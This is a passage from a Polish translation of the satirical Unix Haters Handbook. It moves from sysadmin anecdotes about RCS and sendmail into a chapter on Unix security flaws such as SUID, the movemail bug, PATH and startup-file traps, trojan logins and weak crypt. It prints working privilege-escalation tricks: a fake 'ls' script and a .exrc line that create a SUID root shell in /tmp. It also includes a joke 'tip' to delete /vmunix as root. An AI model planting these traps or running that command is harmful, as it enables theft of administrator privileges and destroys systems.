Przez krótki czas wszystko wyglądało OK., dopóki ktoś używający starszego RCS spróbował sprawdzić plik który ja sprawdziłem. Wygląda na to że jedną ze zmian w RCS była zmiana z lokalnego czasu na GMT. Starsza wersja RCS patrzyła na znacznik czasu i stwierdzała że plik nawet jeszcze nie istnieje, więc nie pozwalała innym osobom na dostęp do pliku. W tym momencie jedyną rzeczą do zrobienia było uaktualnienie wszystkich kopii RCS do najnowszej wersji, tak że wszystkie używały GMT. Kompilacja, test, edycja, kompilacja, instalacja, znów działa.

Wtedy odkryłem że są wielokrotne kopie kodu RCS Emacs dostępne dookoła, i oczywiście naprawiłem tylko jedną z nich. Dlaczego? Ponieważ są wielokrotne kopie Emacsa. Dlaczego? Nie pytam dlaczego, po prostu idę do przodu i naprawiam rzeczy i staram się żeby działały.

Mamy też tutaj trochę maszyn HP, więc też musiały mieć najnowszą wersję RCS. Kompilacje, test, edycja, kompilacja, instalacja, znów działa. Prawie. Bu-dowanie RCS to magiczne doświadczenie. Jest wielki, powolny, brzydki skrypt który tworzy zależny od architektury plik nagłówkowy. Testuje wszystkie rodzaje interesujących rzeczy i próbuje zrobić właściwą rzecz na większości maszyn. I wygląda, że to działa. Ale tak tylko „wygląda”. Maszyny HP nie wspierają mmap. Jest tutaj, ale nie działa i mówią, żeby go nie używać. Ale skrypt konfiguracyjny RCS nie czytał dokumentacji, po prostu sprawdza czy jest, i jeśli jest, RCS próbuje go używać.

Kiedy ktoś na HP próbuje sprawdzić plik, maszyna się wywala. Panika, halt, śmierć w płomieniach i reset. Oczywiście tylko na maszynach HP gdzie uruchomiony jest RCS. Jeśli sprawdzasz z nowszych maszyn HP wszystko działa pięknie. Więc zajrzeliśmy do skryptu konfiguracyjnego, stwierdziliśmy że używa mmap, uderzyliśmy się w głowę, wyedytowaliśmy skrypt konfiguracyjny żeby nawet nie myślał o używaniu mmap, i spróbowaliśmy znowu. Czy wspominałem że uruchomienie skryptu konfiguracyjnego zajmuje 15 minut? I że musi być uruchomiony za każdym razem kiedy coś się zmieni, włącznie z Makefile? I że musisz zmienić Makefile żeby zbudować wersję RCS którą chcesz testować? I że masz prawdziwą pracę do zrobienia? Kompilacja, test, edycja, kompilacja, instalacja, znów działa.

Parę dni później kolejna ulewa problemów z RCS. Pamiętacie te skrypty shellowe które próbowały uczynić RCS bardziej używalnym? Wygląda na to że są ich

155

Page 156: Unix Haters Handbook

wielokrotne kopie, i oczywiście też naprawiłem tylko jedną kopię. Hack, hack, i znów działa.

W końcu, jedna osoba nie mogła używać skryptów w ogóle. Wszystko działało u innych ludzi, ale nie u niego. Dlaczego? Wygląda na to, że w przeciwieństwie do całej reszty, próbował używać cmdtool Suna. Cmdtool ma wspaniałą-cudowną-kompatybilną funkcję: nie ustawia $LOGNAME. Faktycznie wygląda na to, że ma swój sposób na przywrócenie tej zmiennej do poprzedniego stanu. I oczywiście skrypty używają $LOGNAME. Nie $USER (który nie działa na HP-kach), nie „who am i | awk '{print $1}' | sed ‘s/*\\!//”’ ani innej ohydnej komendy. Tak więc znów zhackowałem skrypty aby użyć eleganckiej składni „${LOGNAME:-$USER}”, i znów działa.

Od 24 godzin nie słyszałem o żadnym raporcie o błędach RCS. Trzymam kciuki.

Konserwacja usług pocztowych

Sendmail, najpopularniejszy Unixowy serwer poczty, jest niezmiernie złożony. Nie ma potrzeby żeby taki był, oczywiście (zobacz rozdział o poczcie). Nie tylko złożoność sendmaila zapewnia zatrudnienie dla adminów, zapewnia także pracę dla trenerów adminów i utrzymuje twojego admina z dala od pracy. Popatrzmy na prawdziwe ogłoszenie z sieci:

Seminarium „Sendmail jest prosty”

To seminarium jest skierowane do administratorów systemów którzy chcieliby zrozumieć jak sendmail działa i jak go skonfigurować dla ich środowiska. Omawiane są tematy: działanie sendmaila, jak czytać pliki sendmail.cf, jak modyfikowć pliki sendmail.cf, jak usuwać błędy w plikach sendmail.cf. Przedstawione jest kilka prostych plików sendmail.cf dla klientów z pojedyńczą bramką poczty UUCP. Dyskutowane są pliki sendmail.cf dla SunOS 4.1.1, ULTRIX 4.2, HP-UX 8.0 i AIX 3.1.

Po tym jednodniowym seminarium będziesz mógł:

- zrozumieć działanie sendmaila,- zrozumieć jak sendmail działa z pocztą, SMTP i UUCP,- zrozumieć funkcję i działanie plików sendmail.cf,- stworzyć własny sendmail przez przepisanie regułek

dostarczania na specjalne adresy,- ustawić korporacyjną domenę poczty elektronicznej z

wydziałowymi subdomenami. Ustawić bramkę do sieci pocztowej Internetu i inych komercyjnych sieci poczty elektronicznej,

- usunąć błędy w adresowaniu poczty i problemy z dostarczaniem,

- usunąć błędy w plikach konfiguracyjnych sendmail.cf,- zrozumieć działanie specyficznych wersji pliku

sendmail.cf dla SunOS 4.1.2, DEC Ultrix 4.2, HP-UX 8.0, IBM AIX 3.1.

156

Page 157: Unix Haters Handbook

Takie kursy byłyby mniej potrzebne gdyby był tylko jeden Unix (kurs omawia cztery różne wersje Unixa), albo gdyby Unix był właściwie udokumentowany. Wszystkie powyżej opisywane zadania byłyby łatwe do zrozumienia i przeprowadzenia. Kolejny ukryty koszt Unixa. Śmieszne, koszt jest nawet większy jeśli twój sysadmin nie może zhackować sendmaila, ponieważ twoja poczta nie działa!

Brzmi jak szantaż.

Co zrobiłem źle?

Date: Thu, 20 Dec 90 18:45 CSTFrom: Chris Garrigues <[email protected]>To: UNIX-HATERSSubject: Support of Unix machines

Myślałem któregoś dnia o tym jak moje życie zmieniło się od czasu kiedy Lisp Machines zostały określone jako niepożądane tutaj.

Dwa lata temu sam zajmowałem się 30 LispMs. Zajmowałem się sprzętem i oprogramowaniem. Miałem czas na hackowanie dla siebie. Zawsze miałem przeczytaną codzienną gazetę zanim wyszedłem po południu, a często przed lunchem. Miałem długie lunche i rzadko zostawałem po 17.00. Nigdy nie zostawałem po 18.00. W ciągu półtora roku pracowałem jeden (1) weekend. Kiedy przyszedłem, myślałem że środowisko jest zaśmiecone, więc poświęciłem ten weekend na naprawienie przestrzeni nazewniczej (która tajemniczo gubiła rzeczy). Zgłosiłem błąd do Symbolics i nie zostałem zignorowany, poprawki zostały ostatecznie włączone do systemu.

Rzeczy się zmieniły. Jestem teraz jednym z czterech ludzi zajmujących się około 50 Sunami. Sprzętem zajmuje się Sun, my zajmujemy się tylko oprogramowaniem. Zajmujemy się także pozostałymi LispMs i naszymi bramkami Cisco, ale one nie wymagają wiele opieki. Mamy Auspex, ale to po prostu Sun zaprojektowany żeby bć serwerem. Pracuję ciąglę do późna. Pracuję w wiele weekendów. Poświęciłem nawet weekend Święta Dziękczynienia. Dwa lata później ciągle sprzątamy śmietnik w środowisku i nadal jest mnóstwo rzeczy których w ogóle nie rozumiemy. Jest wiele kopii identycznych danych których nie możemy połączyć ze sobą. Zakup Auspex-u przeniósł nas z wielu pojedyńczych punktów awarii do jednego wielkiego punktu awarii. To nawet lepiej, ale kiedyś wyglądało na to że ludzie często nawet nie wiedzieli że serwer był wyłączony dopóki nie został znów włączony. Nawet teraz, kiedy serwer poczty jest wyłączony, „pwd” nie działa i nikt, włącznie z rootem, nie może się zalogować. Uruchamianie wielu wersji każdego programu jest niewygodne w najlepszym razie, niemożliwe w najgorszym. Nowe wersje OS powodują psucie rzeczy z powodu współdzielonych bibliotek. Zgłaszam błędy do Suna i kiedy nie ignorują mnie, mówią mi że tak właśnie powinno być.

Co zrobiłem źle?

157

Page 158: Unix Haters Handbook

Rozdział 12: Bezpieczeństwo

Przepraszam pana, proszę iść dalej,nie wiedziałem że jest pan rootem.

„Unix to komputerowa scjentologia, nie nauka komputerowa.”

- Dave Mankins

Termin „bezpieczeństwo Unixa” jest, prawie z definicji, oksymoronem ponieważ Unix nie był projektowany do bycia bezpiecznym, z wyjątkiem wrażliwych i źle zaprojektowanych rozróżnień między rootem i resztą. Miara bezpieczeństwa jako powstrzymywanie ataków powstała po namyśle. Tak więc kiedy Unix zachowuje się w sposób oczekiwany, nie jest bezpieczny, a uczynienie Unixa działającym „bezpiecznie” oznacza zmuszenie go do nienaturalnych działań. To jak tańczący pies w cyrku, ale nie tak śmieszny – zwłaszcza jeśli ten pies zjadł twoje pliki.

Oksymoroniczny świat bezpieczeństa Unixa

Narodziny i ewolucja Unixa wykluczają bezpieczeństwo. Jego korzenie jako zabawka dla hckerów i jego filozofia torby z narzędziami są w głębokim konflikcie z wymaganiami dla bezpiecznego systemu.

Bezpieczeństwo to nie drukarka liniowa

Unix implementuje bezpieczeństwo komputera w ten sam sposób co każdą inną usługę systemu operacyjnego. Kolekcja plików tekstowych (jak .rhosts i /etc/groups), które są edytowane standardowym edytorem Unixa, kontroluje konfigurację bezpieczeństwa. Bezpieczeństwo jest więc narzucone przez kombinację małych programów – każdy z nich podobno robi jedną rzecz dobrze – i kilka trików w kernelu systemu operacyjnego aby wymusić jakiś rodzaj ogólnego kierunku działań.

Kombinacja plików konfiguracyjnych i małych programów użytkowych, co działa możliwie dobrze w przypadku kontrolowania drukarki liniowej, zawodzi kiedy zastosować ją do bezpieczeństwa systemu. Bezpieczeństwo to nie drukarka liniowa: żeby bezpieczeństwo komputera działało, wszystkie aspekty systemu operacyjnego muszą zwracać uwagę na bezpieczeństwo. Ponieważ Unixowi brakuje jednakowego kierunku działań, każdy program wykonywalny, każdy plik konfiguracyjny i każdy skrypt startowy staje się punktem krytycznym. Pojedyńczy błąd, źle umieszczony przecinek, złe ustawienie praw dostępu do pliku umożliwiają powstanie katastroficznej awarii w całym systemie bezpieczeństwa. Unixowa filozofia „narzędzi programisty” umożliwia kombinacji relatywnie łagodnych błędów bezpieczeństwa metamorfozę w skomplikowane systemy łamania bezpieczeństwa. Poszczególne elementy mogą zawierać pułapki. W efekcie każda część systemu operacyjnego musi być sprawdzona osobno i z uwzględnieniem każdej innej części aby zapewnić wolność od naruszania bezpieczeństwa.

„Bezpiecznie działający system Unixowy” to tylko czekanie na wypadek, który w końcu się zdarzy. Mówiąc inaczej, jedyny bezpieczny system Unixowy to taki, który jest odłączony od zasilania.

158

Page 159: Unix Haters Handbook

Dziury w zbroi

Dwa podstawowe błędy projektowe uniemożliwiają Unixowi bycie bezpiecznym. Po pierwsze, Unix zapisuje informacje bezpieczeństwa o komputerze w tym samym komputerze, bez szyfrowania czy innej ochrony. To jak zostawianie kluczy do sejfu w biurku: kiedy atakujący sforsuje frontowe drzwi Unixa, cały system jest zagrożony. Po drugie, Unixowa koncepcja superusera jest fundamentalną słabością bezpieczeństwa. Prawie wszystkie systemy Unixowe mają specjalnego użytkownika zwanego root, który omija wszystkie systemy bezpieczeństwa i ma całkowitą władzę nad systemem. Superuser może skasować każdy plik, zmodyfikować każdy program albo zmienić hasło każdego użytkownika bez pozostawienia jakiegokolwiek śladu.

Superuser: superbłąd

Wszystkie wieloużytkownikowe systemy operacyjne potrzebują uprzywilejowanych kont. Prawie wszystkie wieloużytkownikowe systemy operacyjne inne niż Unix przydzielają przywileje w zależności od potrzeb [np. Novell NetWare – przyp. tłum.] Unixowy „supe-ruser” to wszystko albo nic. Administrator który może zmienić czyjeś hasło musi też, projektowo, mieć możliwość kasowania plików w systemie. W ten sposób wynajęty przez ciebie człowiek do robienia backupów może przypadkowo (albo celowo) pozostawić twój system otwarty na atak.

Wiele Unixowych programów i użytków wymaga przywilejów superusera. Złożone i użyteczne programy potrzebują tworzyć pliki albo zapisywać w katalogach do których użytkownik lub program nie ma dostępu. Aby zapewnić bezpieczeństwo, programy uruchamiane jako superuser muszą być ostrożnie analizowane aby upewnić się, czy nie przejawiają niespodziewanych skutków ubocznych u nie mają dziur które mogłyby być wykorzystane aby uzyskać nieautoryzowany dostęp na poziomie superusera. Niestety, ta procedura audytu bezpieczeństwa jest rzadko przeprowadzana (większość zewnętrznych sprzedawców oprogramowania jest na przykład niechętna do ujawniania kodów źródłowych swoim użytkownikom, tak że te firmy nie mogą przeprowadzić audytu nawet gdyby chciały).

Problem z SUID-em

Unixowa koncepcja zwana SUID albo setuid, podnosi tak samo wiele problemów bezpieczeństwa jak koncepcja superusera. SUID jest wbudowaną dziurą w bezpieczeństwie zapewniającą sposób dla zwykłych użytkowników uruchamiania komend wymagających do działania specjalnych przywilejów. Podczas uruchomienia program SUID-owany przyjmuje przywileje osoby która instalowała program zamiast przywilejów osoby uruchamiającej program. Większość programów SUID-owanych jest instalowanych jako SUID root, więc działają z przywilejami superusera.

Projektanci Unixa kazali nam wierzyć że SUID jest fundamentalnym wymaganiem dla zaawansowanego systemu operacyjnego. Najbardziej powszechnym przykładem jest /bin/passwd, program Unixowy pozwalający użytkownikom na zmianę ich haseł. Program /bin/passwd zmienia hasło użytkownika poprzez modyfikację zawartości pliku /etc/passwd. Zwykli użytkownicy nie mogą bezpośrednio modyfikować /etc/passwd ponieważ mogliby zmieniać hasła innym użytkownikom. Program /bin/passwd uruchamiany przez użytkowników przyjmuje przywileje superusera podczas działania i jest skonstruowany do zmiany tylko hasła użytkownika i nikogo innego.

Niestety, podczas gdy /bin/passwd działa jako superuser, nie ma tylko dostępu do modyfikacji pliku /etc/passwd: ma dostęp do modyfikacji każdego pliku, a nawet może robić

159

Page 160: Unix Haters Handbook

co chce. (W końcu działa jako root bez sprawdzania bezpieczeństwa). Jeśli jego działanie może być zmienione – na przykład jeśli zostanie przekonany do utworzenia subshella – atakujący użytkownik może odziedziczyć przywileje superusera do kontroli systemu.

AT&T tak się spodobała koncepcja SUID, że ją opatentowali. Zamiarem było to, że SUID pozwala uprościć projekt systemu operacyjnego przez obejście potrzeby monolitycznego podsystemu odpowiedzialnego za wszelkie aspekty bezpieczeństwa systemu. Doświadczenie pokazuje że większość błędów bezpieczeństwa w Unixie pochodzi od programów SUID-owanych.

W połączeniu z wymiennym nośnikiem (jak dyskietki czy napędy SyQuest), SUID daje atakującemu potężny sposób na wejście do „bezpiecznych” systemów: po prostu umieść plik z SUID root na dyskietce i zamontuj ją, następnie uruchom program SUID root żeby zostać rootem. (Czytelnik znający Unixa może zaprotestować że mount jest komendą wymagającą przywilejów superusera do uruchomienia. Niestety wielu producentów dostarcza teraz SUID-owane programy do montowania wymiennych nośników właśnie po to, aby poprawić tą „niewygodę”.)

SUID nie jest limitowany do superusera – każdy program może być SUID-owany i każdy użytkownik może utworzyć program z SUID-em aby zapewnić przywileje tego użytkownika podczas uruchomienia (bez potrzeby zmuszania kogokolwiek do wpisywania hasła tego użytkownika). W praktyce SUID jest potężnym narzędziem do budowania pułapek kradnących przywileje innym użytkownikom, jak zobaczymy dalej.

Kukułcze jajo

Jako przykład co może pójść źle, rozwać przykład ze świetnej książki Cliffa Stolla The Cuckoo’s Egg. Stoll mówi jak grupa komputerowych crackerów z Niemiec Zachodnich włamało się do niezliczonych komputerów w USA i Europie wykorzystując „błąd” w nieszkodliwym programie zwanym movemail dla popularnego edytora Unixowego, Emacsa.

Kiedy movemail był pisany, po prostu przenosił otrzymaną pocztę elektroniczną ze skrzynki użytkownika w /usr/spool/mail do katalogu domowego użytkownika. Jak dotąd, żadnych problemów. Ale program został zmodyfikowany w 1986 przez Michaela Gretzingera z MIT w ramach Projektu Athena. Gretzinger chciał używać movemail do pobierania poczty elektronicznej z elektronicznego urzędu pocztowego Atheny używając POP (Internet Post Office Protocol). Żeby movemail działał poprawnie z POP-em, Gretzinger stwierdził że konieczne jest zainstalowanie tego programu jako SUID root. Można nawet znaleźć dopisek Gretzingera w kodzie źródłowym movemail:

/** Zmodyfikowany w styczniu 1986 przez Michaela Gretzingera (Projekt Athena)** Dodana obsługa POP (Post Office Protocol). Jeśli skompilowany z opcją* -DPOP movemail będzie akceptował wejściowy argument nazwy pliku w formie* „po:użytkownik”. To spowoduje że movemail otworzy połączenie z serwerem* pop uruchomionym na $MAILHOST (zmienna środowiskowa).* Movemail musi mieć ustawiony setuid na root żeby działał poprawnie z POP.** ...*/

Był tylko jeden problem: oryginalny autor movemaila nigdy nie przypuszczał że ten program pewnego dnia będzie działał jako SUID root. I jeśli program działa jako root, pozwala użytkownikowi którego poczta jest przenoszona na czytanie i modyfikację każdego pliku w całym systemie. Przestępcy komputerowi z Berlina Zachodniego użyli tego błędu do włamania się do wojskowych komputerów w USA i Europie na rozkaz ich kontrolerów z

160

Page 161: Unix Haters Handbook

KGB. W końcu błąd został naprawiony. Oto trzyliniowa łatka która zapobiega temu konretnemu włamaniu:

/* Sprawdź dostęp do pliku wyjściowego. */ if (access(outname,F_OK)==0 &&access(outname,W_OK)!=0)

pfatal_with_name (outname);

To nie jest trudna poprawka. Problem jest taki, że cały movemail ma 838 linii długości i sam w sobie jest drobną częścią programu o długości prawie 100.000 linii. W jaki sposób ktoś mógłby przeanalizować taki kod przed instalacją i wykryć ten błąd?

Inny problem z SUID-em

SUID ma inny problem: daje użytkownikowi moc do zrobienia bałaganu, ale nie do posprzątania. Ten problem może być bardzo denerwujący. Programy SUID (przeważnie) są SUID-owane do zrobienia czegoś specjalnego co wymaga specjalnych przywilejów. Kiedy zaczną działać, albo jeżeli przypadkowo uruchomiłeś niewłaściwy, musisz mieć sposób na jego zabicie. Ale jeśli sam nie masz przywilejów superusera, masz problem:

Date: Sun, 22 Oct 89 01:17:19 EDTFrom: Robert E. Seastrom <[email protected]>To: UNIX-HATERSSubject: damn setuid

Dzisiaj wieczorem zbierałem informacje o czasach odpowiedzi od hosta który był daleko za prawdopodobnie sypiącą się bramką. Ponieważ miałem lepsze rzeczy do roboty niż siedzieć przez pół godziny i patrzeć na pingowanie tego hosta co 5 sekund, wpisałem:

% ping -t5000 -f 60 host.domain > logfile &

Co w tym jest złego? Wygląda na to że ping jest programem setuid root, i teraz kiedy skończyłem NIE MOGĘ ZABIĆ PROCESU PONIEWAŻ UNIX MÓWI ŻE TO NIE MÓJ PROCES! Pomyślałem „W porządku, wyloguję się i zaloguję z powrotem i w międzyczasie proces dostanie sygnał SIGHUP i umrze”. Nieprawda. Proces jest nadal i TERAZ JESTEM NAPRAWDĘ WKURZONY PONIEWAŻ NIE MOGĘ NAWET SPRÓBOWAĆ DOSTAĆ SIĘ DO NIEGO! Musiałem więc znaleźć kogoś z przywilejami roota żeby go dla mnie zabił! Dlaczego Unix nie może zrozumieć że jeśli ppid procesu jest ten sam co pid twojego shella, proces jest twój i możesz z nim zrobić co do cholery chcesz?

Porada bezpieczeństwa Unixa na dziś:

Możesz znacznie zredukować szanse na włamanie przez crackerów albo infekcję przez wirusy jeśli zalogujesz się jako root i napiszesz:

% rm /vmunix

Procesy są tanie i niebezpieczne

Inne narzędzia programowe do łamania bezpieczeństwa Unixa to wywołania systemowe fork() i exec(), które pozwalają programowi na wywołanie innych programów.

161

Page 162: Unix Haters Handbook

Programy wywołujące subprogramy leżą w sercu filozofii Unixa opartej na narzędziach. Emacs i FTP uruchamiają subprocesy do wykonania specyficznych zadań jak listowanie plików. Problem z bezpieczeństwem jest taki, że te programy dziedziczą przywileje programów które je wywołują.

Łatwo wywoływalne subprocesy są obosiecznym mieczem ponieważ wywołany subprogram może być shellem który opuści most zwodzony i wpuści do środka hordy barbarzyńców. Jeśli wywołujący program działa jako superuser, jego wywołane procesy także działają jako superuser. Wielu crackerów znalazło wejście poprzez wywołane shelle z przywilejami superusera.

Rzeczywiście, „Internet Worm” (dyskutowany dalej w tym rozdziale) włamywał się do niespodziewających się komputerów przez uruchamianie usług sieciowych i przekonywanie ich do wywołania subshella. Dlaczego te serwery sieciowe miały odpowiednie uprawnienia systemu operacyjnego do wywołania subshellu, podczas gdy nigdy nie muszą wywoływać subshella w ich normalnym działaniu? Ponieważ każdy program Unixa ma tą zdolność; nie ma sposobu na zabranie programowi przywileju wywoływania subshella (albo użytkownikowi, w tym wypadku).

Problem z PATH

Unix musi zlokalizować plik wykonywalny odpowiadający podanej nazwie komendy. Aby go znaleźć, Unix sprawdza zmienną użytkownika PATH zawierającą listę katalogów do przeszukania. Na przykład jeśli twoja zmienna PATH zawiera :/bin:/usr/bin: /etc:/usr/local/bin:, to gdy napiszesz snarf, Unix automatycznie przeszuka katalogi /bin, /usr/bin, /etc i /usr/local/bin w tej kolejności w poszukiwaniu programu snarf. Wszystko dobrze jak dotąd. Jednak zmienne PATH takie jak ta poniżej są powszechną katastrofą:

PATH=:.:/bin:/usr/bin:/usr/local/bin:

Posiadanie „.“ – bieżącego katalogu – jako pierwszy element wskazuje Unixowi żeby przeszukiwał bieżący katalog przed szukaniem w /bin. Jest to niesamowicie wygodne przy tworzeniu nowych programów. Jest to także potężna technika łamania bezpieczeństwa przez zastawianie pułapek na innych użytkowników. Przypuśćmy że jesteś studentem na nieprzyjemnym uniwersytecie który nie chce ci dać uprawnień roota. Po prostu utwórz plik nazwany ls w swoim katalogu domowym który zawiera:

#!/bin/sh Uruchom shell./bin/cp /bin/sh /tmp/.sh1 Skopiuj shell do /tmp./etc/chmod 4755 /tmp/.sh1 Daj mu uprawnienia osoby wywołującej komendę ls. /bin/rm \$0 Usuń ten skrypt.exec /bin/ls \$1 \$2 \$3 \$ Uruchom prawdziwy ls.

Teraz idź do swojego administratora systemu i powiedz mu że nie możesz znaleźć jakiegoś pliku w swoim katalogu domowym. Jeśli twój operator systemu nie ma mózgu, napisze na swoim terminalu:

% cd <twój katalog domowy>% ls

Teraz już go masz i on nawet nie wie o tym. Kiedy napisał ls nie uruchomił się /bin/ls ale specjalnie utworzony program ls w twoim katalogu głównym. Ta wersja ls ustawia SUID na shellu skopiowanym do katalogu /tmp, który odziedziczy wszelkie przywileje administratora kiedy zostanie uruchomiony. Chociaż myśli że ty jesteś głupi, to on jest ślepy.

162

Page 163: Unix Haters Handbook

Możesz uruchomić nowo utworzony /tmp/.sh1 aby przeczytać, skasować albo uruchomić którykolwiek z jego plików bez formalności uczenia się jego hasła albo logowania się jako on. Jeżeli on ma dostęp do programu SUID root shell (zwykle nazywanego doit), ty też masz. Gratulacje! Cały system jest na twojej łasce.

Pułapki startowe

Kiedy skomplikowany program Unixowy startuje, czyta pliki konfiguracyjne albo z katalogu domowego użytkownika, albo/i z bieżącego katalogu aby ustawić początkowe i domyślne parametry które przystosowują program do wymagań użytkownika. Niestety, pliki startowe mogą być utworzone i pozostawione przez innych użytkowników.

Najszerzej znana pułapka startowa dotyczy vi, „prostego, szybkiego ekranowo zorientowanego edytora” preferowanego przez wielu użytkowników. Niestety vi nie może edytować więcej niż jednego pliku naraz, dlatego admini często uruchamiają vi z bieżącego katalogu, nie z ich katalogu domowego. Tu leży pies pogrzebany.

Przy starcie vi szuka pliku .exrc, pliku startowego vi, w bieżącym katalogu. Chcesz ukraść kilka uprawnień? Umieść plik nazwany .exrc z następującą treścią w katalogu:

!(cp /bin/sh /tmp/.s$$;chmod 4755 /tmp/.s$$)&

i poczekaj na niespodziewającego się admina aż uruchomi vi z tego katalogu. Kiedy to zrobi, zobaczy mrugający wykrzyknik na dole swojego ekranu, a ty będziesz miał SUID-owany shell czekający na ciebie w /tmp, tak jak w poprzednim ataku.

Zaufane ścieżki i konie trojańskie

Standardowy Unix nie zawiera zaufanych ścieżek w systemie operacyjnym. Wyjaśnimy tą koncepcję na przykładzie. Rozważ standardową procedurę logowania w Unixie:

login: jrandompassword: <piszesz swoje „tajne” hasło>

Kiedy piszesz swoje hasło, skąd możesz wiedzieć że piszesz do uczciwego programu Unixowego /bin/login, a nie jakiegoś zdradzieckiego sobowtóra? Takie sobowtóry, zwane „koniami trojańskimi”, są szeroko dostępne na crackerskich BBS-ach; ich jedyną funkcją jest przechwycenie twojej nazwy użytkownika i hasła dla dalszego, prawdopodobnie bezprawnego, użytku.

Zaufana ścieżka jest fundamentalnym wymaganiem bezpieczeństwa komputerowego, ale jest teoretycznie niemożliwa do uzyskania w większości wersji Unixa: /etc/getty, który pyta o twoją nazwę użytkownika i /bin/login który pyta o twoje hasło, nie różnią się niczym od innych programów. Są po prostu programami. Zdarzyło się, że są programami pytającymi się o poufne i ważne informacje aby zweryfikować kim jesteś, ale ty nie masz żadnej możliwości ich weryfikacji.

Naruszone systemy zwykle takie pozostają

Bezpieczeństwo Unixa siedziało na ścianie.Bezpieczeństwo Unixa miało wielki upadek.Wszystkie konie króla,I wszyscy ludzie króla

163

Page 164: Unix Haters Handbook

Nie mogli bezpieczeństwa poskładać z powrotem.Ponowne zabezpieczenie naruszonego systemu Unixowego jest bardzo trudne. Intruzi

zwykle pozostawiają pułapki startowe, zapadnie i konie trojańskie. Po wypadku bezpieczeństwa zwykle łatwiej jest zreinstalować system operacyjny od początku zamiast składać do kupy części.

Na przykład komputer w MIT został naruszony. Atakujący został w końcu odkryty i jego początkowa dziura przez którą się dostał została zamknięta. Ale administrator systemu (czarodziej Unixowy) nie zdawał sobie sprawy że atakujący zmodyfikował program /usr/ucb/telnet. Przez następne sześć miesięcy każdy użytkownik tego komputera który używał telnetu do połączenia się z innym komputerem w MIT, albo gdziekolwiek indziej w internecie, pozostawiał swoją nazwę użytkownika i hasło przechwycone w lokalnym pliku. Atak został odkryty tylko dlatego, że zabrakło miejsca na dysku twardym – plik zrobił się za duży.

Atakujący trywialnie ukrywają swoje działania. Kiedy atakujący włamie się do Unixa, edytuje pliki logów aby zatrzeć wszelkie ślady swojej działalności. Wielu operatorów systemu sprawdza daty modyfikacji plików aby wykryć nieautoryzowane modyfikacje, ale atakujący z przywilejami superusera mogą zmienić czas systemowy – mogą nawet użyć funkcji Unixa specyficznie przewidzianej do zmiany czasu pliku.

System plików Unixa jest masą bitów uprawnień i ochrony. Jeśli jeden plik, katalog albo urządzenie ma źle ustawione bity uprawnień, naraża bezpieczeństwo całego systemu. Dlatego relatywnie łatwo jest doświadczonemu crackerowi włamać się do większości systemów Unixowych i po złamaniu zabezpieczeń systemu relatywnie łatwo może utworzyć dziury przez które ponownie wejdzie.

Tajemnicze szyfrowanie

Szyfrowanie jest żywotną częścią bezpieczeństwa komputerowego. Niestety, Unix nie oferuje wbudowanego systemu automatycznie szyfrującego pliki przechowywane na twardym dysku. Kiedy ktoś ukradnie twardy dysk z komputera Unixowego (albo taśmy z backupem), nie ważne jak dobrze wybrane były hasła użytkowników: atakujący podłączy dysk do innego systemu i wszystkie pliki systemu są otwarte do przejrzenia. (Pomyśl o tym jako o nowej definicji sloganu otwarte systemy).

Większość wersji Unixa ma program szyfrujący zwany crypt. W wielu przypadkach używanie crypt jest gorsze niż nie używanie programu szyfrującego w ogóle. Używanie crypt to jak danie dwóch aspiryn osobie właśnie przechodzącej zawał. Algorytm szyfrujący crypt jest niewiarygodnie słaby – tak słaby, że kilka lat temu absolwent MIT AI Lab napisał program automatycznie deszyfrujący pliki zaszyfrowane przez crypt.

Nawiasem mówiąc, program ten może pomóc jeżeli przypadkowo użyłeś komendy „x” (zaszyfruj plik) w niektórych wersjach ed, myśląc że używasz komendy „x” (wywołaj edytor mini-ekranowy) która jest w innych wersjach ed. Oczywiście nie zorientujesz się dopóki nie będzie za późno. Wciskasz kupę losowych klawiszy żeby się przekonać dlaczego system zawisł (nie wiesz że system wyłączył echo tak żebyś mógł wpisać swój tajny klucz szyfrujący), ale kiedy wciśniesz CR, edytor zapisze twoją pracę normalnie więc wzruszasz ramionami i wracasz do pracy… Dużo później zapiszujesz plik i wychodzisz nie wiedząc o tym dopóki nie chcesz znów użyć pliku który został zapisany w formie zaszyfrowanej – i nie masz szansy na odtworzenie losowego hasła które nieświadomie wpisałeś waląc w klawiaturę. Widziałem ludzi którzy godzinami próbowali tak samo walić w klawiaturę jak za pierwszym razem ponieważ to była ich jedyna szansa na odzyskanie pliku.

164

Page 165: Unix Haters Handbook

Nie wiemy, dlaczego Bell Labs zdecydowali się na rozpowszechnianie crypt z oryginalnym Unixem. Ale wiemy że autorzy programu wiedzieli jak słaby i zawodny jest, na co jest dowód w niecharakterystycznym stwierdzeniu w manualu do programu:

BŁĘDY: Nie ma żadnej gwarancji handlowej ani żadnej gwarancji sprawności w określonym przypadku ani żadnej innej gwarancji, wyrażonej albo implikowanej na dokładność załączonych materiałów albo na ich odpowiedniość do okreśonych zastosowań. W związku z tym Bell Laboratories nie przyjmuje odpowiedzialności za jego używanie przez odbiorcę. Co więcej, Bell Laboratories nie przyjmuje zobowiązań do udzielania jakiejkolwiek pomocy w jakiejkolwiek formie albo do udzielania jakichkolwiek dodatkowych informacji lub dokumentacji.

Niektóre nowsze wersje Unixa zawierają program nazwany des który przeprowadza szyfrowanie zgodnie ze standardem DES (Data Encryption Standard) NSA. Chociaż algorytm DES jest rozsądnie bezpieczny, program des nie jest, ponieważ Unix nie ma narzędzi do sprawdzenia autentyczności programu DES przed jego wykonaniem. Kiedy uruchamiasz program des, nie ma sposobu na weryfikację że nie został zmodyfikowany aby zaopiekować się twoimi cennymi kluczami szyfrującymi albo nie wysyła e-mailem kopii wszystkiego co szyfrujesz.

Problem z ukrytymi plikami

Unixowy ls domyślnie ukrywa pliki których nazwy zaczynają się od kropki (jak .cshrc albo .login) przy wyświetlaniu zawartości katalogu. Atakujący wykorzystują tą „funkcję” aby ukryć ich łamiące system narzędzia poprzez danie im nazw zaczynających się od kropki. Komputerowi crackerzy mogą ukryć megabajty informacji w katalogach niepodejrzewających użytkowników.

Używanie nazw plików zawierających spacje albo znaki kontrolne jest inną potężną techniką ukrywania plików przed niepodejrzewającymi niczego użytkownikami. Większość ufnych użytkowników (zwłaszcza tych którzy przeszli z Windowsa albo Macintosha) widzących plik w swoim katalogu nazwany system nie będą się nad nim dwa razy zastanawiać – zwłaszcza jeżeli nie mogą go skasować pisząc rm system. „Jeśli nie mogę go skasować”, myślą, „to pewnie dlatego że Unix nie pozwala na skasowanie tego zasobu systemowego”.

